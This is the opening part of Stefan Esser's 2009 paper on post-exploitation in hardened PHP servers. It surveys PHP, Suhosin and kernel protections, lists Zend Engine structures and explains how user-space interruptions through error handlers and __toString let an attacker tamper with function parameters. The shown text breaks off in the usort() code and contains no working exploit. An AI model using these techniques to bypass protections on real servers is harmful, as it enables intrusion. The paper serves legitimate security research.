State of the Art Post Exploitation in Hardened PHP Environments

Stefan Esser
SektionEins GmbH
Cologne, Germany
stefan.esser@sektioneins.de

June 26, 2009

Abstract

In this paper we discuss the different protections an attacker faces in hardened PHP environments, after he succeeded in executing arbitrary PHP code. We introduce new techniques to overcome most of them by the use of local PHP exploits. We demonstrate how info leak and memory corruption vulnerabilities can be combined to enable PHP applications to read and write arbitrary memory. We will show step by step how important memory structures can be leaked and manipulated in order to deactivate or overcome protections.

Keywords: PHP, Hardened PHP, Safe Mode, Post exploitation, Interruption Vulnerabilities

1 Introduction

For many years PHP web applications have been the most attacked targets in the world wide web. The main reasons for this were the vast amount of PHP installations, the vast amount of badly written PHP scripts that allowed remote PHP code inclusion, PHP code injection or shell command execution. In general there has been a lack of security safe guards on the server side. In those days uploading a PHP shell to the server and uploading some older kernel root exploits has been enough to take control over webservers. But times have changed. The days of unprotected webservers are more or less over. Of course there are still some low hanging fruits out there, but the majority of modern webservers come with security hardening features activated by default. Taking over these servers even with the possibility of arbitrary PHP code execution has become a challenge. This paper presents our research into common safe guards on PHP webservers and how they can be defeated with local exploits in PHP.

The remainder of this paper is organized as follows. Section 2 starts with an description to many of the security hardening features you will find on modern PHP webservers. Section 3 gives a basic introduction into the low level PHP structures that are required to understand the presented vulnerabilities and exploits. Section 4 introduces the concept of user-space interruption vulnerabilities and

gives two examples. One is an information leak vulnerability and one is a memory corruption vulnerability. Section 5 gives a step by step guidance how to exploit these vulnerabilities in a portable and stable way. Section 6 demonstrates how both exploits combined can be used to overcome several of PHP's internal protections and how they can be used to also attack kernel level protections.

2 Protections

This section describes several security hardening features that are present in modern PHP webservers. All these protections combined are supposed to stop malicious PHP scripts from harming the server. The protection mechanisms can be categorized in protections within the PHP core, protections added by the Suhosin PHP protection system, protections within the C library, filesystem protections and protections in the operating system kernel. The description of these security features will also mention the problems arising for normal PHP shellcode from activating the feature, but in section 6 we will demonstrate how modern PHP shellcode can defeat these limits.

2.1 PHP's Internal Protections

The first class of protections a PHP shellcode will face are those that are embedded in the PHP core and are therefore most likely to be activated on a hardened PHP server. Some of the security hardening features of PHP are enabled by default, others have to be switched on by setting a flag in the PHP configuration, which is usually stored in the *php.ini* file.

2.1.1 safe_mode

The PHP safe mode[1] is an attempt to solve the shared-hosting security problem from within PHP. It is not activated by default, but can be enabled by setting the *safe_mode* configuration directive in the configuration file. When activated access to certain dangerous functions and configuration directives is forbidden and access to files is limited to the files that are owned by the same user as the script. In cases where this is not feasible the checks can be relaxed to only check against the owning group. This will stop any injected PHP shellcode from reading and writing arbitrary files. Access to shell commands is limited very carefully during safe mode by the *safe_mode_exec_dir* option which specifies a directory where shell commands can be executed. Binaries outside of this path cannot be executed while in safe mode. To stop preloading attacks on shell commands through environment variables PHP also forbids access to most environment variables. Because of this malicious PHP scripts cannot execute arbitrary shell commands while safe mode is activated.

The whole concept of safe mode is very fragile, because the feature is not backed by the traditional kernel and filesystem permission system and therefore has to be implemented in every function that accesses files. Because of this it is not surprising that during PHP's history there have been many security advisories about functions that forgot the safe mode checks and could therefore be used to bypass safe mode[3]. Another problem arising from this is that PHP functions that are merely wrappers around C libraries that access files don't know about safe mode cannot be secured at all. One of such libraries is libcurl that has was responsible for several safe mode bypass vulnerabilities in the past[4]. Aside from that even in the very recent PHP 5.2.10 a vulnerability has been fixed that allowed executing arbitrary shell commands while in safe mode on windows systems[5].

Due to these problems and to finally stop people from using safe mode as their only security shield in shared-hosting environments the PHP developers have removed the feature from PHP 6 which is still in early stages of development and will most probably not be released in the next two years.

2.1.2 open_basedir

Open basedir[2] is a similar attempt to restrict what files a PHP script is allowed to access. Like safe mode it is not activated by default, but can be enabled by adding directories to the *open_basedir* configuration directive in the configuration file. When activated PHP scripts will not be able to access files outside the specified directories. This will stop any injected PHP shellcode from reading and writing arbitrary files outside of the specified directories. Other things like dangerous configuration directives and executing shell commands is not affected by open basedir at all.

Like safe mode the open basedir concept is fragile and has the same problems. Every single function that accesses files has to implement the open basedir checks because otherwise it can be used as open basedir bypass. The same is true for external C libraries that are used. And therefore during the history of PHP again and again open basedir bypass vulnerabilities have been reported, e.g. see [6, 7].

Although these problems exist the PHP developers continue to believe in the power of open_basedir as security shield. Unlike safe mode the open basedir feature will not be removed in PHP 6. On the contrary the feature has been improved with the recent release of PHP 5.3.0 where open basedir is now useable within PHP scripts and allows tightening the already set restrictions.

2.1.3 disable_functions

PHP comes with another more powerful security feature, the ability to disable access to arbitrary PHP functions. By default the list of disabled functions is empty, but by changing the *disable_functions* configuration directive it is possible for the admin to disable any PHP function considered dangerous. On many webservers the list is actually quite long and contains functions allowing shell command execution, functions allowing communication through sockets and all the functions of the posix extension, which isn't in the default PHP installation anyway. Sometimes administrators also block access to the functions for reading and writing configuration settings and in some paranoid configurations any kind of file function is disabled. If injected PHP shellcode ends up in such an environment it usually cannot do much.

Unlike the previously discussed security features the implementation of *disable_function* is actually quite tight. On startup of PHP after the configuration is read the selected functions will be removed from PHP's internal function table and replaced with a ersatz-function that will output a warning message. Because of this tight implementation PHP cannot reactivate functions for single virtual hosts when used as webserver module. And also because of this there has not been any vulnerability in PHP so far that allowed reactivating a disabled function. Therefore the setting is considered very secure. However quite often administrators forget one of the many shell command execution functions which renders the protection useless.

2.1.4 enable_dl and dl() hardening

One of the most dangerous features of PHP is the *dl()* function that is used to load PHP extensions at runtime. The problem here is that PHP extensions are nothing else than arbitrary shared libraries that can contain malicious code. Because of this the PHP developers have implemented several security shields into the *dl()* function over the years. The first of these shields is that nowadays it is not possible anymore to load any PHP extension at runtime that is outside of the configured *extension_dir*. Because this configuration option can only be set in the main configuration file or in the webserver configuration applications can no longer load arbitrary shared libraries that they dropped onto the hard-disk of the server. The second security shield is the configuration option *enable_dl* that controls if the *dl()* function is activated or not. By default it is however activated. Aside from that the functionality can also be disabled by the *disable_function* blacklist or by activating safe mode. This means in a hardened PHP environment injected PHP shellcode cannot simply load arbitrary shared libraries with malicious code inside.

2.1.5 Memory Manager Hardening

With the release of PHP 5.2.0 the memory manager of the Zend Engine was replaced by a new one. In previous versions of PHP the memory manager always has been a wrapper around the systems' *malloc()* function that added a double linked list of request memory and therefore made PHP vulnerable to the usual *unlink()* style heap exploiting techniques. This changed with the new memory manager. Zend, backed by Microsoft, had decided to implement a completely new heap allocator that request large chunks of memory from the system via *malloc()*, *mmap()* or *HeapAlloc()* and then manages the memory pool on its own. Like many other memory managers the Zend memory manager stores control information inbound and tries to protect itself against overflows by a number of sanity checks that were introduced all over the code.

For injected PHP shellcode this means that abusing heap overflows in PHP has become somewhat harder because the previous straight forward exploits will fail nowadays due to the introduced sanity checks. This does however not stop anyone from exploiting other linked list data structures like those in the Zend HashTables.

2.2 Suhosin's Protections

Suhosin[11] is an advanced protection system for PHP servers that adds many security hardening features to PHP. It was invented by the Hardened-PHP project and its original purpose is to harden PHP applications and servers against known and unknown attacks from the outside. Therefore stopping injected PHP shellcode is actually not what Suhosin was meant for. There are however some features of Suhosin that have an influence on the exploitability of local vulnerabilities and therefore they might stop several local attacks.

2.3 Memory Manager Hardening

Suhosin unlike default PHP adds security hardening to the memory managers of all supported PHP versions. This includes also the pre PHP 5.2.0 versions with the old memory manager. The memory manager hardening comes in two parts. On the one hand the usual safe unlink checks are added and on the other hand a heap memory canary protection is introduced. The canary protection consists

of three random canary values that are placed in front of the control data, between control data and user data and after the user data. Therefore overflows and underflows should be caught the next time a surrounding memory block is touched by the memory manager. For injected PHP shellcode this means that exploiting heap overflows in PHP has become even harder than it already is with the default memory manager hardening.

2.4 HashTable and Linked List Hardening

With the memory manager already hardened against heap overflows it is natural that attackers will try to overwrite other promising memory structures in order to get control. Because of this Suhosin also protects the most obvious next data structures that comes to mind: the HashTables and Linked Lists. Both structures come with a destructor pointer inside that is called every time an element is removed from the table or list. By overwriting this function pointer in memory an attacker gets more or less instant code execution.

Suhosin stops this kind of attack by building up a list of known good destructors. It hooks the HashTable and LinkedList initialization functions and records all the registered destructors. Later at runtime every time a destructor is about to get called Suhosin first checks in the list of recorded destructors. If an overwritten and therefore unknown destructor is found the incident will be logged and terminated. Because of this protection the easy HashTable destructor overwrite exploiting techniques used in PHP exploits is history and cannot be used by injected PHP shellcode anymore.

2.5 Function Black- and Whitelists

Suhosin comes with a feature which is very similar to the *disable_function* configuration directive. It allows to disable functions based on a function white- or blacklist via the *suhosin.executor.func.whitelist* and *suhosin.executor.func.whitelist* configuration options. Unlike PHP itself Suhosin will disable the function by checking at function call time if the function is allowed or not. This approach was chosen in Suhosin to allow separate white- and blacklists for different virtual hosts in environments where PHP is loaded as webserver module. Therefore disable_function should be preferred when all virtual hosts have the same limits.

Aside from that Suhosin adds the possibility to have a separate function white- and blacklist for code that is evaluated at runtime. This can be configured via the *suhosin.executor.eval.whitelist* and *suhosin.executor.eval.whitelist* configuration options and allows to restrict evaluated code to only use a very limited subset of PHP functions. For injected PHP shellcode this can mean that it is only able to make use of a very small subset of PHP functions.

2.6 Other Protections

Outside of the PHP ecosystem there exist many other protections that have a direct impact on the exploitability of security vulnerability and therefore will cause problems for injected PHP shellcode. In this section we present a short overview of different protections at the filesystem level, the compiler and C library level and the kernel level.

2.6.1 Filesystem Protections

The standard unix file permissions allow to configure a user separation that stops PHP scripts from dropping new files to the hard-disk, from injecting code into existing files and from reading data out of arbitrary files. In addition to the normal file permission security it is possible to mount filesystems as non executable. This ensures that malicious PHP code cannot execute dropped binary files or shared libraries.

2.6.2 Compiler and Linker Protections

During the last years more an more security features were embedded into the gcc compiler and linker. All these protections try to harden the compiled executable against buffer overflow and memory corruption attacks. The first and most widely known addition was the integration of the ProPolice[12] stack smashing protector. ProPolice reorders the position of local variables on the stack to ensure that buffer overflows cannot overwrite important local variables and adds a canary protection to detect overwritten return addresses on the stack. RELRO[13] is a feature that switches several linker segments to read only after they have been used by the loader. This stops e.g. exploits from modifying the GOT at runtime. A side effect of this technique is that due to alignment issues there are unmapped gaps between different segments. Therefore it is no longer possible to scan through memory from the code segment into data segments and vice versa. Recent gcc versions are able to produce position independent executables (PIE)[13]. This kind of executable can be loaded at any address in memory and does not require relocation fixups. This feature allows the kernel to not only load shared libraries but also the main binary to random addresses on startup without the requirement to have writable code segments.

When PHP is compiled with all these features turned on, successful buffer overflow or memory corruption exploit get a lot harder to realize.

2.6.3 C Library Protections

Heap memory allocators in all major C libraries have been hardened with additional sanity checks that validate the integrity of the heap control structures for several years now. For windows this all started with Windows XP SP2 and in the linux world these checks were introduced somewhen in 2004. Most people attribute see the start of this movement in a Bugtraq email sent by Esser[14] in December 2003 where he explained his safe unlink concept. With more and more additional sanity checks in place exploiting heap overflows by attacking the memory manager's control structures have become harder and harder over time. Several articles[15, 16] in the latest Phrack, issue 66, proved however that people still put a lot of research into attacking these control structures.

Aside from the general memory manage hardening in glibc there were also a number of pointer protections added. These pointer protections encode important pointers stored in memory structures with random algorithms to stop abuse by overflow or overwrite attacks. Without full knowledge about the algorithm used to encode the pointer it is not possible to supply a working replacement. This protection affects PHP because it makes use of the *jmp_buf* structure, which is protected in glibc.

2.6.4 Kernel Level Protections

Like all the other areas the kernels of different operating systems have been hardened against attacks during the recent years, too. Of course old security features like change root or jail environments have not been removed, but modern concepts have been developed that try to lock an application into a small compartment. Such concepts are for example Systrace[17] and Novell AppArmor[18] that try to solve the problem by restricting access to certain system calls or by restricting the files and devices a process is allowed to read, write or execute. Both concepts have attracted a lot of users, but they also have been heavily criticized by others, because of their weakness to not withhold attacks that make use of kernel exploits.

For the linux kernel there have been a number of external patches that increase its security namely PAX/Grsecurity[19, 20, 21] and SELinux/Exec-shield[22]. Both have a partly overlapping feature set, but without doubt the Grsecurity kernel patch is more advanced than SELinux / Exec-shield, when it comes to stop attackers. However only the later made it into the official kernel. Both patches implement address space layout randomization (ASLR)[23], which means that memory addresses of mapped memory is randomized. Depending on the operating system ASLR affects different areas like the program stack, the program heap, the load address of shared libraries and the load address of the main binary. The purpose of ASLR is basically to stop attacks that rely on hardcoded memory addresses. The next feature both patches and other operating systems introduce is no-execute (NX)[24] or data execution prevention (DEP)[25]. This feature tries to ensure that all executable memory is not writable and vice versa. The idea is that this stops injecting and executing arbitrary code. Recent research into topics like return-oriented-programming by Shacham[26] have shown that this is not the case. Because the no-execute protection could be defeated by calling the *mprotect()* system call grsecurity and SELinux implement mprotect hardening[27] features that restrict the combination of permissions a page can have at the same time and also restricts if a page that was writable can ever be changed to executable.

Combined these features make it a lot harder for injected PHP shellcode to inject arbitrary code into the PHP process and to break out of access limitations enforced on the process. Goal of our research to get into the position where executing kernel exploits from within a PHP script becomes possible.

3 Internal PHP Structures

Throughout this paper a number of basic PHP structures are mentioned that should be known in order to understand the presented exploits. Because there is no real documentation about these structures beside the PHP source code this section gives a basic introduction into them and into the differences between different PHP versions.

3.1 PHP Variables

The most used data structure in PHP is the *zval* struct that is used to store PHP variables internally. From an exploiters point of view it is important to know that while this structure nearly never changes there is a major structure change between PHP 4 and PHP 5 and that there is some change in the data type value between PHP $<$ 5.1.0 and PHP $>=$ 5.1.0. Let's start with a look at the PHP 4 *zval* struct.

```
1  typedef struct _zval_struct zval;
2
3  typedef union _zvalue_value {
4      long lval;                  /* long value */
5      double dval;                /* double value */
6      struct {
7          char *val;
8          int len;
9      } str;
10     HashTable *ht;              /* hash table value */
11     zend_object obj;
12 } zvalue_value;
13
14 struct _zval_struct {
15     /* Variable information */
16     zvalue_value value;     /* value */
17     zend_uchar type;    /* active type */
18     zend_uchar is_ref;
19     zend_ushort refcount;
20 };
```

This structure shows that PHP 4 variables internally consist of the actual value, the variable type, the is_ref flag and a 16 bit reference counter. The value itself is implemented as a union structure that allows different access methods depending on the variable type. The reference counter and the is_ref flag are for reference counting and PHP's copy on write system. In PHP 4 the following variable types are used at runtime.

```
1  /* data types */
2  #define IS_NULL     0
3  #define IS_LONG     1
4  #define IS_DOUBLE   2
5  #define IS_STRING   3
6  #define IS_ARRAY    4
7  #define IS_OBJECT   5
8  #define IS_BOOL     6
9  #define IS_RESOURCE 7
```

For the `IS_NULL` type the value is implicit. For the types `IS_LONG`, `IS_BOOL` and `IS_RESOURCE` the value is stored in the *lval* field of a *zval* value. Values of type `IS_DOUBLE` are stored in *dval*. For the type `IS_STRING` the string value is stored in the *str.val* field and the string length is stored in *str.len*. Because the *str.len* field is only a signed integer the maximum size of a PHP string is about 2 GB. PHP objects defined by the type `IS_OBJECT` are stored in the object pointer *obj*. Objects are however not relevant for our research therefore we will not go into their details here. PHP arrays use the `IS_ARRAY` type and are referenced by the pointer *ht* that points to a complicated HashTable struct that is discussed in a separate section.

With the release of PHP 5 the internal *zval* structure changed. The changes include a different element ordering, a different way to represent objects and a 32 bit reference counter. Aside from the structure did not get touched as can be seen here. //

```
struct _zval_struct {
    /* Variable information */
    zvalue_value value;     /* value */
    zend_uint refcount;
    zend_uchar type;    /* active type */
    zend_uchar is_ref;
};
```

However this change has not been the last one in the PHP 5 series. With PHP 5.1.0 a number of speed improvements were introduced into the Zend Engine. Some of these changes came with structure changes but the one change that affects the *zval* structure is that the value of `IS_STRING` and `IS_BOOL` were switched. The reason for this is that with the new numbering every type <= `IS_BOOL` does not require a complicate destruction because the value is directly stored in the *zval* itself. So the new ordering is like this.

```
/* data types */
/* All data types <= IS_BOOL have their constructor/destructors skipped */
#define IS_NULL     0
#define IS_LONG     1
#define IS_DOUBLE   2
#define IS_BOOL     3
#define IS_ARRAY    4
#define IS_OBJECT   5
#define IS_STRING   6
#define IS_RESOURCE 7
```

3.2 PHP Arrays

PHP arrays are not like normal arrays. Instead they are complicated data structures that are a mixture of hash tables and doubly linked lists. At the C level within the Zend Engine they are stored in a structure called HashTable. This HashTable is an implementation of an auto-growing hash table where bucket collisions are kept in a doubly linked list and where a global doubly linked list exists that contains all elements. The later is required to implement an element order.

```
typedef struct _hashtable {
    uint nTableSize;
    uint nTableMask;
    uint nNumOfElements;
    ulong nNextFreeElement;
    Bucket *pInternalPointer;   /* Used for element traversal */
    Bucket *pListHead;
    Bucket *pListTail;
    Bucket **arBuckets;
    dtor_func_t pDestructor;
    zend_bool persistent;
    unsigned char nApplyCount;
    zend_bool bApplyProtection;
#if ZEND_DEBUG
    int inconsistent;
#endif
} HashTable;
```

The structure starts with two elements that define the current size of the bucket space which is always a power of two. By default the structure starts with a bucket size of 8 and a table mask of 7. The table mask is anded against the hash function to determine the bucket index. The next element contains the number of elements in the HashTable, followed by the next free element. The next free element is always one more than the highest used numerical index. This is required for next index inserts. The structure continues with an internal pointer that is used within the element traversal functions to keep track of the current element. The next two elements are the head and tail pointers of a doubly linked list of all elments. The last interesting element is a pointer to the

element destructor function that is called whenever an element is removed from the HashTable.

Each element of a HashTable is stored in a so called Bucket. These Buckets can store numerical and alphanumerical indices. Numerical indices are directly anded against the table mask to retrieve the bucket index, alphanumerical indices on the other hand are first processed by a DJB hash function and then anded against the table mask. Alphanumerical indices are stored at the end of the Bucket structure.

```
1  typedef struct bucket {
2      ulong h;                        /* Used for numeric indexing */
3      uint nKeyLength;
4      void *pData;
5      void *pDataPtr;
6      struct bucket *pListNext;
7      struct bucket *pListLast;
8      struct bucket *pNext;
9      struct bucket *pLast;
10     char arKey[1]; /* Must be last element */
11 } Bucket;
```

The first element *h* contains the hash function value for alphanumerical indices and the numerical index otherwise. The key length is set to the length of the alphanumerical index or to zero in case of a numerical index. The *pData* pointer points to the data which is stored in the element. In case the data is just a pointer like it is the case with PHP variables the data itself is also stored in the Bucket in the *pDataPtr* field. The next two Bucket pointers are the previous and next pointers in the global doubly linked list that contains all Buckets. The last two Bucket pointers are previous and next pointers in the Bucket doubly linked list that stores possible hash function value collisions.

3.3 Global Executor Variables

The most interesting data structure for our research is the so called *executor_globals* struct that contains a lot of information about the current execution process. This includes a list of all known ini entries, all functions, all classes, all constants, all symbol tables and much more. Because this structure heavily depends on the features of the executor it changed drastically over the last 9 years. Therefore the dump below only shows how the structure looks like in recent PHP 5.2 versions. In section 6 we will elaborate how this structure can be found in memory, how differences in different PHP versions can be overcome and how manipulating it helps to get around several protections.

```
1  struct _zend_executor_globals {
2      zval **return_value_ptr_ptr;
3
4      zval uninitialized_zval;
5      zval *uninitialized_zval_ptr;
6
7      zval error_zval;
8      zval *error_zval_ptr;
9
10     zend_function_state *function_state_ptr;
11     zend_ptr_stack arg_types_stack;
12
13     /* symbol table cache */
14     HashTable *symtable_cache[SYMTABLE_CACHE_SIZE];
15     HashTable **symtable_cache_limit;
16     HashTable **symtable_cache_ptr;
17
18     zend_op **opline_ptr;
19
20     HashTable *active_symbol_table;
21     HashTable symbol_table;     /* main symbol table */
22
23     HashTable included_files;   /* files already included */
24
25     jmp_buf *bailout;
26
27     int error_reporting;
28     int orig_error_reporting;
29     int exit_status;
```

```
30
31      zend_op_array *active_op_array;
32
33      HashTable *function_table;  /* function symbol table */
34      HashTable *class_table;     /* class table */
35      HashTable *zend_constants;  /* constants table */
36
37      zend_class_entry *scope;
38
39      zval *This;
40
41      long precision;
42
43      int ticks_count;
44
45      zend_bool in_execution;
46      HashTable *in_autoload;
47      zend_function *autoload_func;
48      zend_bool full_tables_cleanup;
49      zend_bool ze1_compatibility_mode;
50
51      /* for extended information support */
52      zend_bool no_extensions;
53
54  #ifdef ZEND_WIN32
55      zend_bool timed_out;
56  #endif
57
58      HashTable regular_list;
59      HashTable persistent_list;
60
61      zend_ptr_stack argument_stack;
62
63      int user_error_handler_error_reporting;
64      zval *user_error_handler;
65      zval *user_exception_handler;
66      zend_stack user_error_handlers_error_reporting;
67      zend_ptr_stack user_error_handlers;
68      zend_ptr_stack user_exception_handlers;
69
70      /* timeout support */
71      int timeout_seconds;
72
73      int lambda_count;
74
75      HashTable *ini_directives;
76      HashTable *modified_ini_directives;
77
78      zend_objects_store objects_store;
79      zval *exception;
80      zend_op *opline_before_exception;
81
82      struct _zend_execute_data *current_execute_data;
83
84      struct _zend_module_entry *current_module;
85
86      zend_property_info std_property_info;
87
88      zend_bool active;
89
90      void *reserved[ZEND_MAX_RESERVED_RESOURCES];
91  };
```

3.4 PHP INI Entries

PHP settings like the safe mode configuration switch are stored internally in structures of the type *zend_ini_entry*. These structures contain all the information PHP requires to retrieve, change or reset the configuration values for a specific configuration directive. The structure itself has been very stable, it never changed between PHP 4.0.0 and PHP 5.1.10. With PHP 5.3.0 it was changed in the end which does not affect the structure elements we are interested in. The following is the pre PHP 5.3.0 structure.

```
1   struct _zend_ini_entry {
2       int module_number;
3       int modifiable;
4       char *name;
5       uint name_length;
6       ZEND_INI_MH((*on_modify));
7       void *mh_arg1;
8       void *mh_arg2;
9       void *mh_arg3;
10
11      char *value;
```

```
12      uint value_length;
13
14      char *orig_value;
15      uint orig_value_length;
16      int modified;
17
18      void (*displayer)(zend_ini_entry *ini_entry, int type);
19  };
```

In the structure the element *module_number* keeps track of the PHP extension this directive belongs to. The field *modifiable* is a bit mask that controls the access level required to change the current setting. Only user settings can be changed at runtime. This is why settings like "safe_mode" cannot be disabled at runtime. The known flags are the following.

```
1  #define ZEND_INI_USER   (1<<0)
2  #define ZEND_INI_PERDIR (1<<1)
3  #define ZEND_INI_SYSTEM (1<<2)
4
5  #define ZEND_INI_ALL (ZEND_INI_USER|ZEND_INI_PERDIR|ZEND_INI_SYSTEM)
```

The elements *name* and *name_length* represent the name of the setting, e.g. "safe_mode". The field *on_modify* contains a function pointer to a function that is called with the parameters *mh_arg1-3* whenever the setting is changed. The element *diplayer* contains a function pointer to a function that is called by *phpinfo()* to display the current value. The rest of the structure keeps track of the current value, the original value and if the setting was modified at all.

3.5 PHP Function Entries

When we deal with internal PHP functions we have to distinguish two different types of structures. The first type of structure is called *zend_function_entry* and is used to define functions in the source code. At runtime when the internal functions are registered in the global function table these structures are copied into another kind of structure called *zend_internal_function*. When we want to reactivate disabled functions later on we require both structures therefore they are both documented here.

We start with the function definition structure that is used in PHP 4. It is a very simple structure that just defines the function name, the function handler and optionally a function argument type descriptor. The function argument type descriptor is used to specify what arguments of a function should be passed by reference. If a type descriptor is missing all arguments will be passed by value.

```
1  typedef struct _zend_function_entry {
2      char *fname;
3      void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
4      unsigned char *func_arg_types;
5  } zend_function_entry;
```

Because PHP 4 has a very limited function model the runtime function table descriptors are also quite simple in structure. They consist of a type field that marks them as internal functions, and a copy of all the pointers from the function definition structure. Because both structures contain the same pointers we will use this fact later on to find the original function definitions in the data segment.

```
1  typedef struct _zend_internal_function {
2      zend_uchar type;    /* MUST be the first element of this struct! */
3
4      zend_uchar *arg_types;      /* MUST be the second element of this struct */
5      char *function_name;            /* MUST be the third element of this struct */
6
7      void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
8  } zend_internal_function;
```

In PHP 5 the function definition structure is a little bit more complicated than the PHP 4 structure. It defines the function name, the function handler, some function flags, the number of arguments and the argument information structure. The argument information structure is similar to the argument type descriptor of PHP 4, but it contains more information like default values and type hints.

```
1  typedef struct _zend_function_entry {
2      char *fname;
3      void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
4      struct _zend_arg_info *arg_info;
5      zend_uint num_args;
6      zend_uint flags;
7  } zend_function_entry;
```

Due to the nature of the more elaborated function and object model in PHP 5 the runtime function table descriptor is more complicated. First of all there is the type field that again marks the function as internal. Then there are copies for each element of the function description. The rest of the structure is aggregated data from the argument information or unused for internal functions. The module pointer in the end of this structure exists since PHP 5.2.0. It is quite useful for finding the original function definition of a function but to be compatible with old versions of PHP we will not use it in section 6.

```
1  typedef struct _zend_internal_function {
2      /* Common elements */
3      zend_uchar type;
4      char * function_name;
5      zend_class_entry *scope;
6      zend_uint fn_flags;
7      union _zend_function *prototype;
8      zend_uint num_args;
9      zend_uint required_num_args;
10     zend_arg_info *arg_info;
11     zend_bool pass_rest_by_reference;
12     unsigned char return_reference;
13     /* END of common elements */
14
15     void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
16     struct _zend_module_entry *module;
17 } zend_internal_function;
```

4 Interruption Vulnerabilities

In this section we want to introduce and discuss a special class of local interruption vulnerabilities in PHP that we sometimes refer to as user-space interruption vulnerabilities. Interruption vulnerabilities are actually nothing new, remotely triggerable interruption vulnerabilities have been disclosed by Esser in 2004, 2005[9, 10] and several local interruption vulnerabilities were also disclosed by Esser during the month of PHP Bugs in 2007[8]. Aside from these published advisories interruption vulnerabilities have been ignored by security researchers. Therefore this bug class is still hidden in many parts of the PHP source code. Interruption vulnerabilities discussed in this paper are all the vulnerabilities that are the result of unexpected interruptions while PHP is in an unstable state or vulnerabilities that force PHP into an unstable state. Exploiting these vulnerabilities usually leads to misbehavior, information leakage and memory corruption.

In this paper we will only concentrate on local interruption vulnerabilities that can be exploited in an easy and stable way. Furthermore we will only concentrate on interruption vulnerabilities present in *widely used PHP functions*. Where *widely used PHP function* is defined as the set of functions that is typically used in widely deployed PHP applications like Wordpress, Joomla, TYPO3 and phpBB3.

4.1 Function Interruptions and Calltime-Pass-by-Reference

In PHP internal functions can be interrupted by user-space PHP functions in error cases or as callbacks. In PHP 4 this is limited to user-space error handlers, user-space handlers (e.g. session handler) and user-space callbacks (e.g. user-space comparison function). In PHP 5 an internal function can also be interrupted because of an object to string conversion that results in a call to the object's *__toString()* method. If such an interruption occurs in an unexpected place this can leaks to various problems. To understand the problems arising from unexpected interruptions of PHP functions it is necessary to take a closer look on the internal implementation of these PHP functions. The following code snippet is taken from the implementation of the explode function, which is one of the widely used PHP functions we are interested in.

```
1  PHP_FUNCTION(explode)
2  {
3      zval **str, **delim, **zlimit = NULL;
4      int limit = -1;
5      int argc = ZEND_NUM_ARGS();
6
7      if (argc < 2 || argc > 3 || zend_get_parameters_ex(argc, &delim, &str, &zlimit) == FAILURE) {
8          WRONG_PARAM_COUNT;
9      }
10     convert_to_string_ex(str);
11     convert_to_string_ex(delim);
12
13     if (argc > 2) {
14         convert_to_long_ex(zlimit);
15         limit = Z_LVAL_PP(zlimit);
16     }
17
18     if (! Z_STRLEN_PP(delim)) {
19         php_error_docref(NULL TSRMLS_CC, E_WARNING, "Empty delimiter");
20         RETURN_FALSE;
21     }
22
23     array_init(return_value);
24
25     if (! Z_STRLEN_PP(str)) {
26         if (limit >= 0 || argc == 2) {
27             add_next_index_stringl(return_value, "", sizeof("") - 1, 1);
28         }
29         return;
30     }
31
32
33     if (limit == 0 || limit == 1) {
34         add_index_stringl(return_value, 0, Z_STRVAL_PP(str), Z_STRLEN_PP(str), 1);
35     } else if (limit < 0 && argc == 3) {
36         php_explode_negative_limit(*delim, *str, return_value, limit);
37     } else {
38         php_explode(*delim, *str, return_value, limit);
39     }
40 }
```

The implementation of *explode()* like the implementations of many other PHP functions can be broken down into the following four steps.

1. Parameter Retrieval
2. Parameter Checking and Conversion
3. Action
4. Returning the Result

Within the "Parameter Retrieval" step functions will retrieve the function parameters from the parameter stack and copy their value into local variables. In the *explode()* example above this is performed in the lines 7-9. During the "Parameter Checking and Conversion" step the function validates the supplied parameters and if required converts them into other data types. In our example this is visible in lines 10-21. After all parameters are prepared the function logic executes, which is the "Action" step. In the end the function ends by "Returning the Result". Within *explode()* both

steps happen in the lines 23-39.

By analyzing the code above it becomes obvious that the function in question was not written with the possibility of user-space interruptions in mind. After the function parameters have passed the "Parameter Checking and Conversion" step the rest of the function simply assumes that the parameters cannot change anymore. E.g. in line 34 the *str* parameter is assumed to be a string without ensuring that it still is one. This is however a dangerous assumption because of the internal implementation of the *convert_to_XXX_ex()* macros.

The *convert_to_XXX_ex()* macros will result in a call to *convert_to_long_base()* for the conversion to integer and *convert_to_string()* in the string case. These functions will report an `E_NOTICE` error in case an object is converted to an integer or when an array or object is converted to a string. This error will cause the user-space error handler to execute and therefore results in the execution of our malicious PHP code. In PHP 5 the situation is a little bit different because in the case of an object to string conversion PHP will first try to execute the object's *__toString()* method. Only if that does not return a string or does not exist the user-space error handler is triggered. This means in PHP 5 interruption attacks can also be launched from within *__toString()* methods, which makes even more places vulnerable. The PHP developers tend to forget that conversions can result in the execution of user-space PHP code and therefore PHP functions are usually not expecting interruptions.

Now that we have elaborated how it is possible to trigger malicious PHP code through parameter conversion one important question remains unanswered. How is it possible for the interrupting PHP code to manipulate the already retrieved parameters. While this seems impossible on the first view a deeper look into the Zend Engine will reveal a feature called call-time-pass-by-reference. This feature enables the caller of a function to override if a parameter that is supposed to be passed by value is actually passed by reference. The feature is used by prepending a parameter with a single & character when the function is called. By using this feature it is possible to manipulate a parameter from within an interrupting user-space function by changing the variable that was passed by reference directly. Section 5 will show how this can be used for information leak attacks.

When dealing with call-time-pass-by-reference there are a few interesting facts that are important to know. The feature is present in all PHP versions up to the latest releases in the PHP 5.3 series, although it is actually marked as deprecated since PHP 4.0.0, which was released about 9 years ago. Because of this there is also a flag in the PHP configuration that is called *allow_call_time_pass_by_reference* that is said to enable and disable this feature, which is why many PHP installations nowadays come with the flag set to disallowed by default. However in reality the flag only controls if using the feature will emit a deprecation warning message or not. The functionality of the feature is not touched by the flag at all. In addition it is possible to get around the warning message by using the *call_func_array()* function.

4.2 Function Interruptions without Calltime-Pass-by-Reference

The last section might have left the impression that the calltime-pass-by-reference feature of PHP is required to exploit user-space interruption vulnerabilities and therefore removing the feature once and for all would solve the problem. This is however not the case because user-space interruption attacks are also possible against functions that have call-by-reference parameters in their signature.

Most notably many array functions in PHP pass the array that is worked on as reference. Because of this it should not be surprising that we were able to identify several user-space interruption vulnerabilities in these array functions. In this section we use the *usort()* function as example.

```
1  PHP_FUNCTION(usort)
2  {
3      zval **array;
4      HashTable *target_hash;
5      PHP_ARRAY_CMP_FUNC_VARS;
6
7      PHP_ARRAY_CMP_FUNC_BACKUP();
8
